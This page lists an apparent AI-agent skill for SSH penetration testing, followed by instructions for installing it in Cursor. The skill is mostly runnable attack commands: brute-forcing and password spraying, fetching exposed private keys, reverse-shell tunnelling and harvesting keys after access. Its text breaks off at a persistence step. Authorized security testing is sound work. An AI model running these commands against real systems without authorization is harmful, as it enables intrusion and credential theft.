SSH Penetration Testing

Purpose

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

Prerequisites

Required Tools

• Nmap with SSH scripts
• Hydra or Medusa for brute-forcing
• ssh-audit for configuration analysis
• Metasploit Framework
• Python with Paramiko library

Required Knowledge

• SSH protocol fundamentals
• Public/private key authentication
• Port forwarding concepts
• Linux command-line proficiency

Outputs and Deliverables

1. SSH Enumeration Report - Versions, algorithms, configurations
2. Credential Assessment - Weak passwords, default credentials
3. Vulnerability Assessment - Known CVEs, misconfigurations
4. Tunnel Documentation - Port forwarding configurations

Core Workflow

Phase 1: SSH Service Discovery

Identify SSH services on target networks:

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100

Phase 2: SSH Enumeration

Gather detailed information about SSH services:

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

Phase 3: SSH Configuration Auditing

Identify weak configurations:

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

Key configuration weaknesses to identify:

• Weak key exchange algorithms (diffie-hellman-group1-sha1)
• Weak ciphers (arcfour, 3des-cbc)
• Weak MACs (hmac-md5, hmac-sha1-96)
• Deprecated protocol versions

Phase 4: Credential Attacks

Brute-Force with Hydra

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Brute-Force with Medusa

# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

Password Spraying

# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

Phase 5: Key-Based Authentication Testing

Test for weak or exposed keys:

# Attempt login with found private key
ssh -i id_rsa [email protected]

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa [email protected]

# Force password authentication
ssh -o PreferredAuthentications=password [email protected]

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" [email protected]
done

Check for exposed keys:

# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

Phase 6: Vulnerability Exploitation

Search for known vulnerabilities:

# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

Phase 7: SSH Tunneling and Port Forwarding

Local Port Forwarding

Forward local port to remote service:

# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 [email protected]
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 [email protected]

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 [email protected]

Remote Port Forwarding

Expose local service to remote network:

# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 [email protected]
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 [email protected]

Dynamic Port Forwarding (SOCKS Proxy)

Create SOCKS proxy for network pivoting:

# Create SOCKS proxy on local port 1080
ssh -D 1080 [email protected]

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080

ProxyJump (Jump Hosts)

Chain through multiple SSH servers:

# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump [email protected]

Phase 8: Post-Exploitation

Activities after gaining SSH access:

# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
how to use ssh-penetration-testing
CursorClaude CodeClineCodexWindsurfGooseGitHub CopilotVS CodeGemini CLIKiloOpencodeKimi CLIRoo ClineAiderContinueZedBolt.newLovablev0Replit AgentSweepSmol DeveloperDevinCavemanAmpAntigravity
How to use ssh-penetration-testing on Cursor
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1
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
›Cursor installed and configured on your development machine
›Node.js version 16.0+ with npm package manager (verify with node --version)
›Active project directory or workspace where you want to add ssh-penetration-testing
2
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
$npx skills add https://github.com/davila7/claude-code-templates --skill ssh-penetration-testingcopy
The skills CLI fetches ssh-penetration-testing from GitHub repository davila7/claude-code-templates and configures it for Cursor.
3
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ── always included ────
│   • Amp
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│ ●Cursor(selected)
│   • Cursor
│   • Windsurf
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/ssh-penetration-testing
Reload or restart Cursor to activate ssh-penetration-testing. Access the skill through slash commands (e.g., /ssh-penetration-testing) or your agent's skill management interface.
⚠
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
Additional Resources
›View source code on GitHub›Skills CLI documentation›Learn more about Cursor›What are agent skills?